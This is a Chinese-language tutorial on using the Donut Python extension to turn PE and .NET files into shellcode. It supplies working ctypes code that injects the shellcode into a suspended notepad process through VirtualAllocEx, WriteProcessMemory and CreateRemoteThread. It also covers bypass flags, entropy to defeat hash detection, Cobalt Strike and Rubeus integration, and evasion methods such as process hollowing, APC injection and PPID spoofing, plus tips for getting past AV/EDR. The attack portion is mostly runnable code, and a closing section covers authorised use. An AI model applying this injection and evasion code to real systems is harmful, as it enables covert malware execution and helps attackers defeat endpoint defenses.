Python生成Shellcode实战:Donut扩展与进程注入技术详解
1. 项目概述当Python遇见Shellcode如果你是一名安全研究员、红队工程师或者对底层系统交互感兴趣的开发者那么“在Python中直接生成shellcode”这个需求大概率曾在你脑海中闪过。传统上我们需要借助C/C、汇编器或者像msfvenom这样的外部工具来生成shellcode流程繁琐难以与Python的动态分析、自动化脚本无缝集成。而Donut的出现恰好填补了这一空白。Donut本质上是一个shellcode生成器它最强大的能力在于能够将.NET程序集.exe, .dll或本地PE文件Windows可执行文件在内存中转换为位置无关的shellcode。这意味着你可以用C#、VB.NET甚至Python通过IronPython或编译为.NET编写你的“载荷”然后通过Donut将其变成一段可以注入到任何进程内存中独立运行的二进制代码。而Donut Python扩展则为我们提供了一个纯Python的接口让我们能在熟悉的Python环境里完成从载荷准备到shellcode生成、测试乃至交付的整个闭环。这解决了几个核心痛点首先是开发效率你可以利用Python庞大的库生态如请求库、加密库快速构建载荷逻辑其次是集成度shellcode生成可以直接嵌入到你的自动化攻击框架或工具链中最后是规避检测通过内存操作和无文件落地提升了操作的隐蔽性。接下来我将以一个实践者的角度带你从零开始深入Donut Python扩展的每一个细节。2. 环境准备与工具链解析在开始敲代码之前搭建一个稳定、可复现的环境至关重要。这不仅关乎功能能否实现更影响着后续调试和集成的顺畅度。2.1 Python环境与依赖安装首先你需要一个Python 3.7或更高版本的环境。我强烈建议使用虚拟环境来管理依赖以避免包冲突。这里以venv为例# 创建并激活虚拟环境 python -m venv donut_env # Windows donut_env\Scripts\activate # Linux/macOS source donut_env/bin/activate激活虚拟环境后安装核心的Donut Python包。目前社区维护的donut-shellcode是一个不错的选择它提供了对原版Donut的Python封装。pip install donut-shellcode这个包会自动处理与Donut C代码的编译和绑定。但请注意它依赖于本地的C编译器如Windows上的Visual Studio Build Tools或MinGWLinux/macOS上的GCC。如果安装过程中报错关于“Microsoft Visual C 14.0”或“building wheel”失败你需要先安装对应的编译环境。注意在Windows上最稳妥的方式是安装Visual Studio 2019或2022并勾选“使用C的桌面开发”工作负载。如果只想安装构建工具可以下载“Build Tools for Visual Studio”。安装后可能需要以管理员身份启动一个新的命令行窗口以确保环境变量生效。除了核心库我们通常还需要一些辅助库来完善整个工作流pip install pefile # 用于解析PE文件头在定制shellcode时非常有用 pip install colorama # 用于在终端输出彩色日志提升可读性可选2.2 Donut源码与生成器原理浅析虽然Python扩展包简化了调用但理解Donut本身的工作原理能让你在出现问题时更快地定位。Donut的核心是一个用C编写的命令行工具它的工作流程可以概括为解析输入文件读取.NET程序集或PE文件解析其元数据、导入表、重定位表等。创建内存映像在内存中重建一个完整的、位置无关的PE映像。对于.NET程序它还会嵌入CLR.NET运行时的引导代码。生成Shellcode编写一段汇编引导程序stub。这段stub负责在目标进程内存中定位并加载上一步创建的内存映像处理必要的重定位并最终跳转到原始入口点执行。输出将生成的shellcode以二进制、C数组、Base64等多种格式输出。Python扩展donut-shellcode的作用就是通过ctypes或类似的机制调用编译好的Donut共享库.dll或.so或者直接封装其命令行调用将上述流程包装成几个简单的Python函数。一个常见的误区是认为Donut只能生成“攻击性”shellcode。实际上它是一个中性的技术工具。例如你可以生成一个用于合法内存补丁、插件热加载甚至特定环境诊断的shellcode。理解这一点有助于我们更客观地看待和运用这项技术。3. 核心API详解与基础使用安装好环境后我们来深入看看donut-shellcode提供的核心接口。通常它最主要的函数是create_shellcode()或generate()。3.1 生成Shellcode的基本调用假设我们有一个用C#编写的简单.NET控制台程序HelloDonut.exe它仅仅输出一条消息。我们要将其转换为shellcode。import donut # 最基本的使用方式 shellcode donut.create_shellcode( file_pathrC:\Tools\HelloDonut.exe, # 输入文件路径 arch2, # 架构1 for x86, 2 for x64 bypass3, # 绕过技术选项 format1 # 输出格式1 for raw binary (bytes) ) print(f生成的Shellcode长度: {len(shellcode)} 字节) print(f前20个字节: {shellcode[:20].hex()})参数解析与选择逻辑file_path: 目标文件路径。可以是本地路径也可以是网络路径需确保运行环境能访问。arch: 目标架构。这是关键选择。必须与目标进程的架构匹配。如果目标进程是64位的notepad.exe你却生成了x86的shellcode注入后必然崩溃。在64位系统上大多数系统进程是64位的但也有一些32位兼容进程。使用tasklist或Process Explorer查看进程的“平台”列可以确定。bypass: 这是一个位掩码字段用于指定Donut shellcode尝试使用的绕过技术。例如值3可能代表同时尝试禁用ETWEvent Tracing for Windows和绕过某些API钩子。你需要根据目标环境的安全产品如EDR来调整这个值。在原版Donut文档中这些值有明确含义。format: 输出格式。1是原始的二进制字节串最适合直接用于内存注入。其他格式如2是C数组3是Base64便于嵌入到其他脚本或配置文件中。3.2 参数进阶定制你的ShellcodeDonut提供了丰富的参数来精细控制shellcode的行为。了解这些参数可以让你生成的shellcode更具适应性和隐蔽性。import donut shellcode donut.create_shellcode( file_path./payload.dll, arch2, bypass7, # 更激进的绕过组合 entropy1, # 启用熵值随机化有助于混淆静态特征 exit_opt2, # 退出选项2代表线程退出后shellcode所在内存区域会被释放 # 以下参数对于DLL文件尤其重要 class_name, # 如果DLL包含COM类可在此指定 methodRun, # 要调用的方法名对于.NET DLL或导出函数名对于原生DLL paramsarg1 arg2, # 传递给方法的参数字符串 runtimev4.0.30319, # 指定.NET运行时版本 app_domainMyDomain, # 创建独立的AppDomain增加隔离性 )关键参数深度解读entropy: 启用后Donut会在生成的shellcode中插入随机数据块并打乱部分结构每次生成的shellcode二进制内容都不完全相同这能有效规避基于静态哈希如SHA256的检测。exit_opt: 这个选项决定了shellcode执行完毕后的行为。1(线程退出): 仅线程结束内存中的Donut实例和原始负载可能仍驻留。2(进程退出): 如果负载是一个独立进程它退出后相关资源会被清理。对于DLL行为类似线程退出。3(线程退出并清理):推荐选项。负载执行完毕后Donut会尝试清理自己分配的内存减少痕迹。method和params: 当你的负载是一个DLL时必须指定一个入口点。对于.NET DLL这是类名和方法名如MyNamespace.MyClass.MyMethod。对于原生DLL这是导出函数名如DllMain或自定义导出函数。params是以空格分隔的字符串参数会传递给该入口点。app_domain: 仅适用于.NET负载。在一个宿主进程如explorer.exe中加载.NET运行时并执行你的程序集时将其加载到一个自定义的AppDomain中可以提供一定的隔离并且当该AppDomain被卸载时相关的程序集也会从内存中清除比直接加载到默认域更干净。实操心得bypass参数不是越大越好。过于激进的绕过技术可能在某些环境引发异常或导致不稳定。在测试阶段可以先设置为1仅使用最基本的绕过在能稳定运行后再逐步尝试更高级的选项。同时务必在与你目标环境相似的系统上进行测试。4. 实战演练从生成到注入的完整流程理论知识已经足够现在让我们串联起一个完整的、可验证的实战场景。我们的目标是将一个简单的“计算器”负载calc.exe转换为shellcode并注入到一个新建的、挂起的进程中进行测试。4.1 步骤一准备负载与生成Shellcode我们选择系统自带的calc.exe作为测试负载。首先我们生成针对x64架构的shellcode。import donut import os # 1. 定位calc.exe路径Windows系统 calc_path os.path.join(os.environ[WINDIR], System32, calc.exe) if not os.path.exists(calc_path): # 如果是32位Python在64位系统上运行可能需要重定向到SysWOW64 calc_path os.path.join(os.environ[WINDIR], SysWOW64, calc.exe) print(f[*] 负载路径: {calc_path}) # 2. 生成Shellcode try: shellcode donut.create_shellcode( file_pathcalc_path, arch2, # x64 bypass3, format1, exit_opt3 # 执行后清理 ) print(f[] Shellcode生成成功! 长度: {len(shellcode)} 字节) # 可选保存到文件以供其他工具使用 with open(calc_shellcode.bin, wb) as f: f.write(shellcode) print([] Shellcode已保存至 calc_shellcode.bin) except Exception as e: print(f[-] 生成Shellcode失败: {e}) exit(1)4.2 步骤二进程创建与内存注入生成shellcode后我们需要一个目标进程来承载它。为了演示和测试的稳定性我们创建一个挂起的进程然后将shellcode注入进去。import ctypes from ctypes import wintypes import sys # 定义Windows API所需的结构体和常量 kernel32 ctypes.WinDLL(kernel32, use_last_errorTrue) CREATE_SUSPENDED 0x00000004 MEM_COMMIT 0x00001000 MEM_RESERVE 0x00002000 PAGE_EXECUTE_READWRITE 0x40 # 3. 创建一个挂起的进程这里用notepad作为傀儡进程 si wintypes.STARTUPINFO() pi wintypes.PROCESS_INFORMATION() creation_flags CREATE_SUSPENDED if not kernel32.CreateProcessW( None, # 应用程序名 notepad.exe, # 命令行 None, # 进程安全属性 None, # 线程安全属性 False, # 句柄继承 creation_flags, # 创建标志 None, # 环境变量 None, # 当前目录 ctypes.byref(si), ctypes.byref(pi) ): print(f[-] 创建进程失败错误码: {kernel32.GetLastError()}) exit(1) print(f[] 进程创建成功PID: {pi.dwProcessId}, 主线程ID: {pi.dwThreadId}) # 4. 在目标进程中分配内存 process_handle pi.hProcess size len(shellcode) alloc_addr kernel32.VirtualAllocEx( process_handle, None, # 由系统决定分配地址 size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ) if not alloc_addr: print(f[-] 内存分配失败错误码: {kernel32.GetLastError()}) kernel32.TerminateProcess(process_handle, 1) exit(1) print(f[] 内存分配成功地址: 0x{alloc_addr:X}) # 5. 将Shellcode写入分配的内存 written wintypes.SIZE_T(0) if not kernel32.WriteProcessMemory( process_handle, alloc_addr, shellcode, size, ctypes.byref(written) ): print(f[-] 写入内存失败错误码: {kernel32.GetLastError()}) kernel32.VirtualFreeEx(process_handle, alloc_addr, 0, 0x8000) # MEM_RELEASE kernel32.TerminateProcess(process_handle, 1) exit(1) print(f[] Shellcode写入成功字节数: {written.value}) # 6. 创建远程线程执行Shellcode thread_handle kernel32.CreateRemoteThread( process_handle, None, # 安全属性 0, # 堆栈大小0表示默认 alloc_addr, # 线程起始地址即我们的Shellcode None, # 参数 0, # 创建标志0表示立即运行 None # 线程ID ) if not thread_handle: print(f[-] 创建远程线程失败错误码: {kernel32.GetLastError()}) kernel32.VirtualFreeEx(process_handle, alloc_addr, 0, 0x8000) kernel32.TerminateProcess(process_handle, 1) exit(1) print([] 远程线程创建成功Shellcode已开始执行) print([*] 检查是否弹出了计算器窗口。) # 7. 等待线程结束可选然后清理 kernel32.WaitForSingleObject(thread_handle, 5000) # 等待5秒 kernel32.CloseHandle(thread_handle) kernel32.CloseHandle(pi.hThread) kernel32.CloseHandle(process_handle) print([] 执行完毕句柄已关闭。)运行这段代码你应该会看到两个窗口一个挂起的记事本notepad进程窗口以及一个弹出的计算器窗口。计算器是由我们的shellcode在记事本进程的上下文中启动的。这就是进程注入的基本原理。4.3 步骤三验证与调试技巧注入成功后如何验证shellcode确实按预期工作除了观察计算器是否弹出我们还可以使用Sysinternals Suite中的Process Explorer工具进行深入查看。打开Process Explorer。找到notepad.exe进程。右键点击选择“Properties”。切换到“Threads”标签页。你应该能看到除了主线程外还有一个线程其“Start Address”会指向一个不属于notepad模块的内存区域即我们分配的地址。这间接证明了远程线程的执行。切换到“TCP/IP”标签页如果shellcode有网络行为。或者使用Process Monitor来监控进程的文件、注册表、网络活动。如果注入失败计算器没有弹出可以按以下思路排查检查架构确保arch参数与目标进程匹配。用32位shellcode注入64位进程肯定会失败。检查负载兼容性calc.exe是一个GUI程序在非交互式会话如某些服务上下文中启动可能会失败。可以尝试换一个简单的控制台程序作为负载测试。查看错误码代码中在每个关键API调用后都检查了错误码。kernel32.GetLastError()返回的数字可以在微软文档中查到具体含义。使用调试器将Python脚本在调试模式下运行或者使用WinDbg附加到挂起的notepad.exe进程上在CreateRemoteThread调用后设置断点观察内存和线程状态。5. 高级应用场景与定制化开发掌握了基础注入后我们可以探索Donut Python扩展更高级的用法以适应复杂的实战需求。5.1 内存中直接加载.NET程序集有时你的负载可能不是磁盘上的文件而是一个已经在Python内存中的.NET程序集字节流比如从网络下载或动态生成的。Donut Python扩展的某些高级接口或修改后的版本可能支持直接从内存缓冲区生成shellcode。其原理是你需要模拟Donut读取文件的过程将内存中的程序集字节先写入一个临时文件然后调用Donut最后删除临时文件。或者如果你对Donut源码足够熟悉可以修改其Python绑定添加一个接受bytes对象的函数。import donut import tempfile import os # 假设 assembly_bytes 是从网络获取的.NET DLL字节码 assembly_bytes b\x4D\x5A... # 这里是PE文件头开始的二进制数据 with tempfile.NamedTemporaryFile(suffix.dll, deleteFalse) as tmp: tmp.write(assembly_bytes) tmp_path tmp.name try: shellcode donut.create_shellcode(file_pathtmp_path, arch2, bypass3) finally: os.unlink(tmp_path) # 确保临时文件被删除这种方式虽然多了一步磁盘IO但在安全要求严格的场景下可以结合内存解密等技术避免将明文的负载留在磁盘上。5.2 与现有框架集成如Cobalt Strike、Empire生成的shellcode可以无缝集成到现有的命令与控制C2框架中。例如在Cobalt Strike的Aggressor Script中你可以添加一个菜单项调用Python脚本生成shellcode然后通过shellcode命令注入到信标beacon中。# 这是一个概念性示例展示如何生成适合Cobalt Strike的格式 import donut import base64 shellcode_bytes donut.create_shellcode(file_pathRubeus.exe, arch2, paramskerberoast, format1) # Cobalt Strike 的 shellcode 命令通常接受 base64 或十六进制格式 shellcode_b64 base64.b64encode(shellcode_bytes).decode(utf-8) shellcode_hex shellcode_bytes.hex() print(fBase64格式 (用于 shellcode 命令):) print(shellcode_b64[:100] ...) # 打印前100字符示意 # 也可以直接输出为C数组便于嵌入到Artifact Kit生成的模板中 print(f\nC数组格式:) c_array , .join(f0x{b:02x} for b in shellcode_bytes[:20]) print(funsigned char payload[] {{{c_array}, ...}};)5.3 规避检测的进阶思路随着终端检测与响应EDR技术的演进简单的进程注入CreateRemoteThread和已知的绕过技术bypass参数可能被检测。我们需要更深入的策略进程镂空Process Hollowing不创建新线程而是挂起一个合法进程如svchost.exe将其主模块的内存替换为我们的shellcode然后恢复线程。这比远程线程更隐蔽。Donut生成的shellcode是位置无关的非常适合这种技术。线程劫持Thread Hijacking挂起目标进程中的一个现有线程将其上下文RIP/EIP寄存器修改为我们的shellcode地址然后恢复该线程。这避免了创建新线程的API调用。回调函数注入利用Windows提供的各种回调机制如SetTimer、QueueUserAPC来执行代码。QueueUserAPC异步过程调用可以与CreateRemoteThread结合或单独使用在某些场景下检测率较低。父进程IDPPID欺骗在创建傀儡进程时通过STARTUPINFOEX和UpdateProcThreadAttribute指定一个看似可信的父进程如explorer.exe这能绕过一些基于进程树异常的检测。模块伪装在注入后使用类似Module Stomping的技术将shellcode所在的内存区域属性从PAGE_EXECUTE_READWRITE改回PAGE_READONLY并将其映射到一个合法DLL的内存区域使其在Process Explorer中看起来像是系统模块的一部分。这些高级技术的实现超出了Donut本身的范围但Donut生成的优质shellcode是实施这些技术的基础。你需要结合其他Python库如win32api或直接调用更底层的Windows API来实现。6. 常见问题、错误排查与性能优化在实际使用中你肯定会遇到各种问题。这里我整理了一份“踩坑实录”希望能帮你快速排雷。6.1 常见错误与解决方案错误现象可能原因排查步骤与解决方案donut.create_shellcode抛出异常或返回空1. Donut编译依赖未安装。2. 输入文件路径错误或格式不支持。3. 文件被其他进程占用。1. 检查Python包安装日志确认C编译器已正确安装。在Windows上尝试在“Visual Studio Developer Command Prompt”中运行pip install。2. 使用os.path.exists()确认文件存在。确保文件是有效的.NET程序集或PE文件可用file命令或pefile库检查。3. 关闭可能占用该文件的程序。生成的Shellcode注入后导致目标进程崩溃1. 架构不匹配x86 vs x64。2. Shellcode依赖的DLL在目标进程上下文中不存在。3.bypass选项过于激进或与目标系统不兼容。4. 负载本身需要特定的命令行参数或环境。1.这是最常见的原因双重检查arch参数和目标进程位数。2. 使用Process Monitor监控目标进程的DLL加载失败事件。对于.NET程序确保目标系统安装了对应版本的.NET Framework/CLR。3. 将bypass设为1或0禁用重试。4. 通过params参数传递必要的命令行参数或检查负载是否需要特定的工作目录、环境变量。注入成功但负载功能未执行1. 负载是GUI程序但在无桌面的会话中运行如服务。2. 负载需要管理员权限而目标进程权限不足。3. 入口点method指定错误。1. 尝试注入到有桌面交互的进程如explorer.exe或改用控制台程序测试。2. 尝试以管理员权限运行你的Python注入脚本或注入到同样以管理员权限运行的进程中。3. 对于DLL使用dumpbin /exports payload.dllWindows或objdump -T payload.soLinux查看正确的导出函数名。对于.NET DLL使用ildasm查看类和方法名。被安全软件AV/EDR拦截1. Shellcode本身有静态特征。2. 注入行为如CreateRemoteThread被检测。3. 负载行为如网络连接、敏感API调用被检测。1. 启用Donut的entropy选项。考虑对生成的shellcode进行二次自定义编码或加密。2. 采用更隐蔽的注入技术如APC注入、线程劫持。3. 对负载进行混淆、加密或分阶段加载。使用合法的网络库和通信模式进行伪装。6.2 性能考量与优化建议Shellcode大小Donut生成的shellcode会包含整个程序集/PE文件以及引导代码体积可能较大几MB到几十MB。过大的shellcode在分配内存和写入时更耗时也更容易触发内存扫描告警。优化方法压缩负载程序集使用.NET的System.IO.Compression或UPX等工具压缩原生PE然后再用Donut处理。注意某些强壳可能会被Donut解析失败。采用分阶段加载。第一阶段只加载一个极小的下载器shellcode由其从网络或磁盘解密并加载第二阶段的核心负载。生成速度对于大型负载Donut的生成过程可能需要几秒钟。在需要快速响应的场景可以预生成常用的shellcode并缓存起来而不是每次动态生成。内存占用除了负载本身Donut的引导代码和.NET CLR如果用到也会占用目标进程的内存。在内存受限的环境下需要选择更轻量级的负载或技术。6.3 调试与日志Donut本身在生成时可以提供一些调试信息。原版命令行工具有一些verbose参数但在Python扩展中可能被封装了。如果遇到难以解决的问题一个终极方法是直接使用原版Donut命令行工具从GitHub下载编译进行测试对比参数和输出以确定问题是出在负载本身还是Python绑定环节。另外可以在你的Python注入脚本中加入详细的日志记录记录每个步骤的返回值和错误码这对于在复杂环境中排查问题至关重要。7. 安全、伦理与合法使用边界探讨作为一项强大的技术我们必须清醒地认识到它的双刃剑属性。Donut Python扩展降低了shellcode生成和使用的门槛这也意味着它可能被用于恶意目的。合法与合规的使用场景包括渗透测试与红队演练在获得明确书面授权的范围内对客户系统进行安全评估。恶意软件分析与研究在隔离的沙箱或实验室环境中动态分析恶意样本的行为。EDR产品研发与测试用于开发、测试终端检测与响应规则的有效性。合法的软件保护与插件系统某些软件可能使用类似技术进行内存补丁或安全的插件热加载尽管这不是主流做法。绝对禁止的行为在未获得明确授权的情况下对任何系统进行测试、扫描或攻击。开发、传播用于非法目的的恶意软件。利用该技术侵犯他人隐私、窃取数据或破坏系统。作为技术人员我们应当时刻恪守职业道德与法律法规。学习和研究这些技术是为了更好地构建防御而非突破它。在实践过程中务必在完全隔离的虚拟机或专属实验网络中进行确保你的研究活动不会对任何第三方系统造成意外影响。